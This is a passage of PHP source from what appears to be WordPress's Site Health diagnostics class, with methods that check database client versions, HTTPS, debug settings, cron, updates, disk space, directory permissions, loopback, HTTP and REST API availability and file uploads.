		// phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysqli_get_client_info
		$mysql_client_version = mysqli_get_client_info();

		/*
		 * libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server.
		 * mysqlnd has supported utf8mb4 since 5.0.9.
		 */
		if ( str_contains( $mysql_client_version, 'mysqlnd' ) ) {
			$mysql_client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $mysql_client_version );
			if ( version_compare( $mysql_client_version, '5.0.9', '<' ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'utf8mb4 requires a newer client library' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: Name of the library, 2: Number of version. */
						__( 'WordPress&#8217; utf8mb4 support requires MySQL client library (%1$s) version %2$s or newer. Please contact your server administrator.' ),
						'mysqlnd',
						'5.0.9'
					)
				);
			}
		} else {
			if ( version_compare( $mysql_client_version, '5.5.3', '<' ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'utf8mb4 requires a newer client library' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: Name of the library, 2: Number of version. */
						__( 'WordPress&#8217; utf8mb4 support requires MySQL client library (%1$s) version %2$s or newer. Please contact your server administrator.' ),
						'libmysql',
						'5.5.3'
					)
				);
			}
		}

		return $result;
	}

	/**
	 * Tests if the site can communicate with WordPress.org.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_dotorg_communication() {
		$result = array(
			'label'       => __( 'Can communicate with WordPress.org' ),
			'status'      => '',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Communicating with the WordPress servers is used to check for new versions, and to both install and update WordPress core, themes or plugins.' )
			),
			'actions'     => '',
			'test'        => 'dotorg_communication',
		);

		$wp_dotorg = wp_remote_get(
			'https://api.wordpress.org',
			array(
				'timeout' => 10,
			)
		);
		if ( ! is_wp_error( $wp_dotorg ) ) {
			$result['status'] = 'good';
		} else {
			$result['status'] = 'critical';

			$result['label'] = __( 'Could not reach WordPress.org' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					'<span class="error"><span class="screen-reader-text">%s</span></span> %s',
					/* translators: Hidden accessibility text. */
					__( 'Error' ),
					sprintf(
						/* translators: 1: The IP address WordPress.org resolves to. 2: The error returned by the lookup. */
						__( 'Your site is unable to reach WordPress.org at %1$s, and returned the error: %2$s' ),
						gethostbyname( 'api.wordpress.org' ),
						$wp_dotorg->get_error_message()
					)
				)
			);

			$result['actions'] = sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				/* translators: Localized Support reference. */
				esc_url( __( 'https://wordpress.org/support/forums/' ) ),
				__( 'Get help resolving this issue.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		}

		return $result;
	}

	/**
	 * Tests if debug information is enabled.
	 *
	 * When WP_DEBUG is enabled, errors and information may be disclosed to site visitors,
	 * or logged to a publicly accessible file.
	 *
	 * Debugging is also frequently left enabled after looking for errors on a site,
	 * as site owners do not understand the implications of this.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_is_in_debug_mode() {
		$result = array(
			'label'       => __( 'Your site is not set to output debug information' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Debug mode is often enabled to gather more details about an error or site failure, but may contain sensitive information which should not be available on a publicly available website.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				/* translators: Documentation explaining debugging in WordPress. */
				esc_url( __( 'https://wordpress.org/documentation/article/debugging-in-wordpress/' ) ),
				__( 'Learn more about debugging in WordPress.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
			'test'        => 'is_in_debug_mode',
		);

		if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
			if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
				$result['label'] = __( 'Your site is set to log errors to a potentially public file' );

				$result['status'] = str_starts_with( ini_get( 'error_log' ), ABSPATH ) ? 'critical' : 'recommended';

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %s: WP_DEBUG_LOG */
						__( 'The value, %s, has been added to this website&#8217;s configuration file. This means any errors on the site will be written to a file which is potentially available to all users.' ),
						'<code>WP_DEBUG_LOG</code>'
					)
				);
			}

			if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) {
				$result['label'] = __( 'Your site is set to display errors to site visitors' );

				$result['status'] = 'critical';

				// On development environments, set the status to recommended.
				if ( $this->is_development_environment() ) {
					$result['status'] = 'recommended';
				}

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: WP_DEBUG_DISPLAY, 2: WP_DEBUG */
						__( 'The value, %1$s, has either been enabled by %2$s or added to your configuration file. This will make errors display on the front end of your site.' ),
						'<code>WP_DEBUG_DISPLAY</code>',
						'<code>WP_DEBUG</code>'
					)
				);
			}
		}

		return $result;
	}

	/**
	 * Tests if the site is serving content over HTTPS.
	 *
	 * Many sites have varying degrees of HTTPS support, the most common of which is sites that have it
	 * enabled, but only if you visit the right site address.
	 *
	 * @since 5.2.0
	 * @since 5.7.0 Updated to rely on {@see wp_is_using_https()} and {@see wp_is_https_supported()}.
	 *
	 * @return array The test results.
	 */
	public function get_test_https_status() {
		/*
		 * Check HTTPS detection results.
		 */
		$errors = wp_get_https_detection_errors();

		$default_update_url = wp_get_default_update_https_url();

		$result = array(
			'label'       => __( 'Your website is using an active HTTPS connection' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'An HTTPS connection is a more secure way of browsing the web. Many services now have HTTPS as a requirement. HTTPS allows you to take advantage of new features that can increase site speed, improve search rankings, and gain the trust of your visitors by helping to protect their online privacy.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				esc_url( $default_update_url ),
				__( 'Learn more about why you should use HTTPS' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
			'test'        => 'https_status',
		);

		if ( ! wp_is_using_https() ) {
			/*
			 * If the website is not using HTTPS, provide more information
			 * about whether it is supported and how it can be enabled.
			 */
			$result['status'] = 'recommended';
			$result['label']  = __( 'Your website does not use HTTPS' );

			if ( wp_is_site_url_using_https() ) {
				if ( is_ssl() ) {
					$result['description'] = sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: %s: URL to Settings > General > Site Address. */
							__( 'You are accessing this website using HTTPS, but your <a href="%s">Site Address</a> is not set up to use HTTPS by default.' ),
							esc_url( admin_url( 'options-general.php' ) . '#home' )
						)
					);
				} else {
					$result['description'] = sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: %s: URL to Settings > General > Site Address. */
							__( 'Your <a href="%s">Site Address</a> is not set up to use HTTPS.' ),
							esc_url( admin_url( 'options-general.php' ) . '#home' )
						)
					);
				}
			} else {
				if ( is_ssl() ) {
					$result['description'] = sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: 1: URL to Settings > General > WordPress Address, 2: URL to Settings > General > Site Address. */
							__( 'You are accessing this website using HTTPS, but your <a href="%1$s">WordPress Address</a> and <a href="%2$s">Site Address</a> are not set up to use HTTPS by default.' ),
							esc_url( admin_url( 'options-general.php' ) . '#siteurl' ),
							esc_url( admin_url( 'options-general.php' ) . '#home' )
						)
					);
				} else {
					$result['description'] = sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: 1: URL to Settings > General > WordPress Address, 2: URL to Settings > General > Site Address. */
							__( 'Your <a href="%1$s">WordPress Address</a> and <a href="%2$s">Site Address</a> are not set up to use HTTPS.' ),
							esc_url( admin_url( 'options-general.php' ) . '#siteurl' ),
							esc_url( admin_url( 'options-general.php' ) . '#home' )
						)
					);
				}
			}

			if ( wp_is_https_supported() ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'HTTPS is already supported for your website.' )
				);

				if ( defined( 'WP_HOME' ) || defined( 'WP_SITEURL' ) ) {
					$result['description'] .= sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: 1: wp-config.php, 2: WP_HOME, 3: WP_SITEURL */
							__( 'However, your WordPress Address is currently controlled by a PHP constant and therefore cannot be updated. You need to edit your %1$s and remove or update the definitions of %2$s and %3$s.' ),
							'<code>wp-config.php</code>',
							'<code>WP_HOME</code>',
							'<code>WP_SITEURL</code>'
						)
					);
				} elseif ( current_user_can( 'update_https' ) ) {
					$default_direct_update_url = add_query_arg( 'action', 'update_https', wp_nonce_url( admin_url( 'site-health.php' ), 'wp_update_https' ) );
					$direct_update_url         = wp_get_direct_update_https_url();

					if ( ! empty( $direct_update_url ) ) {
						$result['actions'] = sprintf(
							'<p class="button-container"><a class="button button-primary" href="%1$s" target="_blank" rel="noopener">%2$s<span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
							esc_url( $direct_update_url ),
							__( 'Update your site to use HTTPS' ),
							/* translators: Hidden accessibility text. */
							__( '(opens in a new tab)' )
						);
					} else {
						$result['actions'] = sprintf(
							'<p class="button-container"><a class="button button-primary" href="%1$s">%2$s</a></p>',
							esc_url( $default_direct_update_url ),
							__( 'Update your site to use HTTPS' )
						);
					}
				}
			} else {
				// If host-specific "Update HTTPS" URL is provided, include a link.
				$update_url = wp_get_update_https_url();
				if ( $update_url !== $default_update_url ) {
					$result['description'] .= sprintf(
						'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
						esc_url( $update_url ),
						__( 'Talk to your web host about supporting HTTPS for your website.' ),
						/* translators: Hidden accessibility text. */
						__( '(opens in a new tab)' )
					);
				} else {
					$result['description'] .= sprintf(
						'<p>%s</p>',
						__( 'Talk to your web host about supporting HTTPS for your website.' )
					);
				}
			}
		}

		return $result;
	}

	/**
	 * Checks if the HTTP API can handle SSL/TLS requests.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test result.
	 */
	public function get_test_ssl_support() {
		$result = array(
			'label'       => '',
			'status'      => '',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Securely communicating between servers are needed for transactions such as fetching files, conducting sales on store sites, and much more.' )
			),
			'actions'     => '',
			'test'        => 'ssl_support',
		);

		$supports_https = wp_http_supports( array( 'ssl' ) );

		if ( $supports_https ) {
			$result['status'] = 'good';

			$result['label'] = __( 'Your site can communicate securely with other services' );
		} else {
			$result['status'] = 'critical';

			$result['label'] = __( 'Your site is unable to communicate securely with other services' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				__( 'Talk to your web host about OpenSSL support for PHP.' )
			);
		}

		return $result;
	}

	/**
	 * Tests if scheduled events run as intended.
	 *
	 * If scheduled events are not running, this may indicate something with WP_Cron is not working
	 * as intended, or that there are orphaned events hanging around from older code.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_scheduled_events() {
		$result = array(
			'label'       => __( 'Scheduled events are running' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Scheduled events are what periodically looks for updates to plugins, themes and WordPress itself. It is also what makes sure scheduled posts are published on time. It may also be used by various plugins to make sure that planned actions are executed.' )
			),
			'actions'     => '',
			'test'        => 'scheduled_events',
		);

		$this->wp_schedule_test_init();

		if ( is_wp_error( $this->has_missed_cron() ) ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'It was not possible to check your scheduled events' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: The error message returned while from the cron scheduler. */
					__( 'While trying to test your site&#8217;s scheduled events, the following error was returned: %s' ),
					$this->has_missed_cron()->get_error_message()
				)
			);
		} elseif ( $this->has_missed_cron() ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'A scheduled event has failed' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: The name of the failed cron event. */
					__( 'The scheduled event, %s, failed to run. Your site still works, but this may indicate that scheduling posts or automated updates may not work as intended.' ),
					$this->last_missed_cron
				)
			);
		} elseif ( $this->has_late_cron() ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'A scheduled event is late' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: The name of the late cron event. */
					__( 'The scheduled event, %s, is late to run. Your site still works, but this may indicate that scheduling posts or automated updates may not work as intended.' ),
					$this->last_late_cron
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if WordPress can run automated background updates.
	 *
	 * Background updates in WordPress are primarily used for minor releases and security updates.
	 * It's important to either have these working, or be aware that they are intentionally disabled
	 * for whatever reason.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_background_updates() {
		$result = array(
			'label'       => __( 'Background updates are working' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Background updates ensure that WordPress can auto-update if a security update is released for the version you are currently using.' )
			),
			'actions'     => '',
			'test'        => 'background_updates',
		);

		if ( ! class_exists( 'WP_Site_Health_Auto_Updates' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-site-health-auto-updates.php';
		}

		/*
		 * Run the auto-update tests in a separate class,
		 * as there are many considerations to be made.
		 */
		$automatic_updates = new WP_Site_Health_Auto_Updates();
		$tests             = $automatic_updates->run_tests();

		$output = '<ul>';

		foreach ( $tests as $test ) {
			/* translators: Hidden accessibility text. */
			$severity_string = __( 'Passed' );

			if ( 'fail' === $test->severity ) {
				$result['label'] = __( 'Background updates are not working as expected' );

				$result['status'] = 'critical';

				/* translators: Hidden accessibility text. */
				$severity_string = __( 'Error' );
			}

			if ( 'warning' === $test->severity && 'good' === $result['status'] ) {
				$result['label'] = __( 'Background updates may not be working properly' );

				$result['status'] = 'recommended';

				/* translators: Hidden accessibility text. */
				$severity_string = __( 'Warning' );
			}

			$output .= sprintf(
				'<li><span class="dashicons %s"><span class="screen-reader-text">%s</span></span> %s</li>',
				esc_attr( $test->severity ),
				$severity_string,
				$test->description
			);
		}

		$output .= '</ul>';

		if ( 'good' !== $result['status'] ) {
			$result['description'] .= $output;
		}

		return $result;
	}

	/**
	 * Tests if plugin and theme auto-updates appear to be configured correctly.
	 *
	 * @since 5.5.0
	 *
	 * @return array The test results.
	 */
	public function get_test_plugin_theme_auto_updates() {
		$result = array(
			'label'       => __( 'Plugin and theme auto-updates appear to be configured correctly' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Plugin and theme auto-updates ensure that the latest versions are always installed.' )
			),
			'actions'     => '',
			'test'        => 'plugin_theme_auto_updates',
		);

		$check_plugin_theme_updates = $this->detect_plugin_theme_auto_update_issues();

		$result['status'] = $check_plugin_theme_updates->status;

		if ( 'good' !== $result['status'] ) {
			$result['label'] = __( 'Your site may have problems auto-updating plugins and themes' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				$check_plugin_theme_updates->message
			);
		}

		return $result;
	}

	/**
	 * Tests available disk space for updates.
	 *
	 * @since 6.3.0
	 *
	 * @return array The test results.
	 */
	public function get_test_available_updates_disk_space() {
		$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( WP_CONTENT_DIR . '/upgrade/' ) : false;

		$result = array(
			'label'       => __( 'Disk space available to safely perform updates' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				/* translators: %s: Available disk space in MB or GB. */
				'<p>' . __( '%s available disk space was detected, update routines can be performed safely.' ) . '</p>',
				size_format( $available_space )
			),
			'actions'     => '',
			'test'        => 'available_updates_disk_space',
		);

		if ( false === $available_space ) {
			$result['description'] = __( 'Could not determine available disk space for updates.' );
			$result['status']      = 'recommended';
		} elseif ( $available_space < 20 * MB_IN_BYTES ) {
			$result['description'] = __( 'Available disk space is critically low, less than 20 MB available. Proceed with caution, updates may fail.' );
			$result['status']      = 'critical';
		} elseif ( $available_space < 100 * MB_IN_BYTES ) {
			$result['description'] = __( 'Available disk space is low, less than 100 MB available.' );
			$result['status']      = 'recommended';
		}

		return $result;
	}

	/**
	 * Tests if plugin and theme temporary backup directories are writable or can be created.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return array The test results.
	 */
	public function get_test_update_temp_backup_writable() {
		global $wp_filesystem;

		$result = array(
			'label'       => __( 'Plugin and theme temporary backup directory is writable' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				/* translators: %s: wp-content/upgrade-temp-backup */
				'<p>' . __( 'The %s directory used to improve the stability of plugin and theme updates is writable.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup</code>'
			),
			'actions'     => '',
			'test'        => 'update_temp_backup_writable',
		);

		if ( ! function_exists( 'WP_Filesystem' ) ) {
			require_once ABSPATH . '/wp-admin/includes/file.php';
		}

		ob_start();
		$credentials = request_filesystem_credentials( '' );
		ob_end_clean();

		if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
			$result['status']      = 'recommended';
			$result['label']       = __( 'Could not access filesystem' );
			$result['description'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
			return $result;
		}

		$wp_content = $wp_filesystem->wp_content_dir();

		if ( ! $wp_content ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'Unable to locate WordPress content directory' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content */
				'<p>' . __( 'The %s directory cannot be located.' ) . '</p>',
				'<code>wp-content</code>'
			);
			return $result;
		}

		$upgrade_dir_exists      = $wp_filesystem->is_dir( "$wp_content/upgrade" );
		$upgrade_dir_is_writable = $wp_filesystem->is_writable( "$wp_content/upgrade" );
		$backup_dir_exists       = $wp_filesystem->is_dir( "$wp_content/upgrade-temp-backup" );
		$backup_dir_is_writable  = $wp_filesystem->is_writable( "$wp_content/upgrade-temp-backup" );

		$plugins_dir_exists      = $wp_filesystem->is_dir( "$wp_content/upgrade-temp-backup/plugins" );
		$plugins_dir_is_writable = $wp_filesystem->is_writable( "$wp_content/upgrade-temp-backup/plugins" );
		$themes_dir_exists       = $wp_filesystem->is_dir( "$wp_content/upgrade-temp-backup/themes" );
		$themes_dir_is_writable  = $wp_filesystem->is_writable( "$wp_content/upgrade-temp-backup/themes" );

		if ( $plugins_dir_exists && ! $plugins_dir_is_writable && $themes_dir_exists && ! $themes_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'Plugin and theme temporary backup directories exist but are not writable' );
			$result['description'] = sprintf(
				/* translators: 1: wp-content/upgrade-temp-backup/plugins, 2: wp-content/upgrade-temp-backup/themes. */
				'<p>' . __( 'The %1$s and %2$s directories exist but are not writable. These directories are used to improve the stability of plugin updates. Please make sure the server has write permissions to these directories.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup/plugins</code>',
				'<code>wp-content/upgrade-temp-backup/themes</code>'
			);
			return $result;
		}

		if ( $plugins_dir_exists && ! $plugins_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'Plugin temporary backup directory exists but is not writable' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content/upgrade-temp-backup/plugins */
				'<p>' . __( 'The %s directory exists but is not writable. This directory is used to improve the stability of plugin updates. Please make sure the server has write permissions to this directory.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup/plugins</code>'
			);
			return $result;
		}

		if ( $themes_dir_exists && ! $themes_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'Theme temporary backup directory exists but is not writable' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content/upgrade-temp-backup/themes */
				'<p>' . __( 'The %s directory exists but is not writable. This directory is used to improve the stability of theme updates. Please make sure the server has write permissions to this directory.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup/themes</code>'
			);
			return $result;
		}

		if ( ( ! $plugins_dir_exists || ! $themes_dir_exists ) && $backup_dir_exists && ! $backup_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'The temporary backup directory exists but is not writable' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content/upgrade-temp-backup */
				'<p>' . __( 'The %s directory exists but is not writable. This directory is used to improve the stability of plugin and theme updates. Please make sure the server has write permissions to this directory.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup</code>'
			);
			return $result;
		}

		if ( ! $backup_dir_exists && $upgrade_dir_exists && ! $upgrade_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'The upgrade directory exists but is not writable' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content/upgrade */
				'<p>' . __( 'The %s directory exists but is not writable. This directory is used for plugin and theme updates. Please make sure the server has write permissions to this directory.' ) . '</p>',
				'<code>wp-content/upgrade</code>'
			);
			return $result;
		}

		if ( ! $upgrade_dir_exists && ! $wp_filesystem->is_writable( $wp_content ) ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'The upgrade directory cannot be created' );
			$result['description'] = sprintf(
				/* translators: 1: wp-content/upgrade, 2: wp-content. */
				'<p>' . __( 'The %1$s directory does not exist, and the server does not have write permissions in %2$s to create it. This directory is used for plugin and theme updates. Please make sure the server has write permissions in %2$s.' ) . '</p>',
				'<code>wp-content/upgrade</code>',
				'<code>wp-content</code>'
			);
			return $result;
		}

		return $result;
	}

	/**
	 * Tests if loopbacks work as expected.
	 *
	 * A loopback is when WordPress queries itself, for example to start a new WP_Cron instance,
	 * or when editing a plugin or theme. This has shown itself to be a recurring issue,
	 * as code can very easily break this interaction.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_loopback_requests() {
		$result = array(
			'label'       => __( 'Your site can perform loopback requests' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Loopback requests are used to run scheduled events, and are also used by the built-in editors for themes and plugins to verify code stability.' )
			),
			'actions'     => '',
			'test'        => 'loopback_requests',
		);

		$check_loopback = $this->can_perform_loopback();

		$result['status'] = $check_loopback->status;

		if ( 'good' !== $result['status'] ) {
			$result['label'] = __( 'Your site could not complete a loopback request' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				$check_loopback->message
			);
		}

		return $result;
	}

	/**
	 * Tests if HTTP requests are blocked.
	 *
	 * It's possible to block all outgoing communication (with the possibility of allowing certain
	 * hosts) via the HTTP API. This may create problems for users as many features are running as
	 * services these days.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_http_requests() {
		$result = array(
			'label'       => __( 'HTTP requests seem to be working as expected' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'It is possible for site maintainers to block all, or some, communication to other sites and services. If set up incorrectly, this may prevent plugins and themes from working as intended.' )
			),
			'actions'     => '',
			'test'        => 'http_requests',
		);

		$blocked = false;
		$hosts   = array();

		if ( defined( 'WP_HTTP_BLOCK_EXTERNAL' ) && WP_HTTP_BLOCK_EXTERNAL ) {
			$blocked = true;
		}

		if ( defined( 'WP_ACCESSIBLE_HOSTS' ) ) {
			$hosts = explode( ',', WP_ACCESSIBLE_HOSTS );
		}

		if ( $blocked && 0 === count( $hosts ) ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'HTTP requests are blocked' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: Name of the constant used. */
					__( 'HTTP requests have been blocked by the %s constant, with no allowed hosts.' ),
					'<code>WP_HTTP_BLOCK_EXTERNAL</code>'
				)
			);
		}

		if ( $blocked && 0 < count( $hosts ) ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'HTTP requests are partially blocked' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: Name of the constant used. 2: List of allowed hostnames. */
					__( 'HTTP requests have been blocked by the %1$s constant, with some allowed hosts: %2$s.' ),
					'<code>WP_HTTP_BLOCK_EXTERNAL</code>',
					implode( ',', $hosts )
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if the REST API is accessible.
	 *
	 * Various security measures may block the REST API from working, or it may have been disabled in general.
	 * This is required for the new block editor to work, so we explicitly test for this.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_rest_availability() {
		$result = array(
			'label'       => __( 'The REST API is available' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'The REST API is one way that WordPress and other applications communicate with the server. For example, the block editor screen relies on the REST API to display and save your posts and pages.' )
			),
			'actions'     => '',
			'test'        => 'rest_availability',
		);

		$cookies = wp_unslash( $_COOKIE );
		$timeout = 10; // 10 seconds.
		$headers = array(
			'Cache-Control' => 'no-cache',
			'X-WP-Nonce'    => wp_create_nonce( 'wp_rest' ),
		);
		/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

		// Include Basic auth in loopback requests.
		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
		}

		$url = rest_url( 'wp/v2/types/post' );

		// The context for this is editing with the new block editor.
		$url = add_query_arg(
			array(
				'context' => 'edit',
			),
			$url
		);

		$r = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );

		if ( is_wp_error( $r ) ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'The REST API encountered an error' );

			$result['description'] .= sprintf(
				'<p>%s</p><p>%s<br>%s</p>',
				__( 'When testing the REST API, an error was encountered:' ),
				sprintf(
					// translators: %s: The REST API URL.
					__( 'REST API Endpoint: %s' ),
					$url
				),
				sprintf(
					// translators: 1: The WordPress error code. 2: The WordPress error message.
					__( 'REST API Response: (%1$s) %2$s' ),
					$r->get_error_code(),
					$r->get_error_message()
				)
			);
		} elseif ( 200 !== wp_remote_retrieve_response_code( $r ) ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'The REST API encountered an unexpected result' );

			$result['description'] .= sprintf(
				'<p>%s</p><p>%s<br>%s</p>',
				__( 'When testing the REST API, an unexpected result was returned:' ),
				sprintf(
					// translators: %s: The REST API URL.
					__( 'REST API Endpoint: %s' ),
					$url
				),
				sprintf(
					// translators: 1: The WordPress error code. 2: The HTTP status code error message.
					__( 'REST API Response: (%1$s) %2$s' ),
					wp_remote_retrieve_response_code( $r ),
					wp_remote_retrieve_response_message( $r )
				)
			);
		} else {
			$json = json_decode( wp_remote_retrieve_body( $r ), true );

			if ( false !== $json && ! isset( $json['capabilities'] ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'The REST API did not behave correctly' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %s: The name of the query parameter being tested. */
						__( 'The REST API did not process the %s query parameter correctly.' ),
						'<code>context</code>'
					)
				);
			}
		}

		return $result;
	}

	/**
	 * Tests if 'file_uploads' directive in PHP.ini is turned off.
	 *
	 * @since 5.5.0
	 *
	 * @return array The test results.
	 */
	public function get_test_file_uploads() {
		$result = array(
			'label'       => __( 'Files can be uploaded' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: file_uploads, 2: php.ini */
					__( 'The %1$s directive in %2$s determines if uploading files is allowed on your site.' ),
					'<code>file_uploads</code>',
					'<code>php.ini</code>'
				)
			),
			'actions'     => '',
			'test'        => 'file_uploads',
		);

		if ( ! function_exists( 'ini_get' ) ) {
			$result['status']       = 'critical';
			$result['description'] .= sprintf(
				/* translators: %s: ini_get() */
				__( 'The %s function has been disabled, some media settings are unavailable because of this.' ),
				'<code>ini_get()</code>'
			);
			return $result;
		}

		if ( empty( ini_get( 'file_uploads' ) ) ) {
			$result['status']       = 'critical';
			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: file_uploads, 2: 0 */
					__( '%1$s is set to %2$s. You won\'t be able to upload files on your site.' ),
					'<code>file_uploads</code>',
					'<code>0</code>'
				)
			);
			return $result;
		}

		$post_max_size       = ini_get( 'post_max_size' );
		$upload_max_filesize = ini_get( 'upload_max_filesize' );

		if ( wp_convert_hr_to_bytes( $post_max_size ) < wp_convert_hr_to_bytes( $upload_max_filesize ) ) {
			$result['label'] = sprintf(
				/* translators: 1: post_max_size, 2: upload_max_filesize */
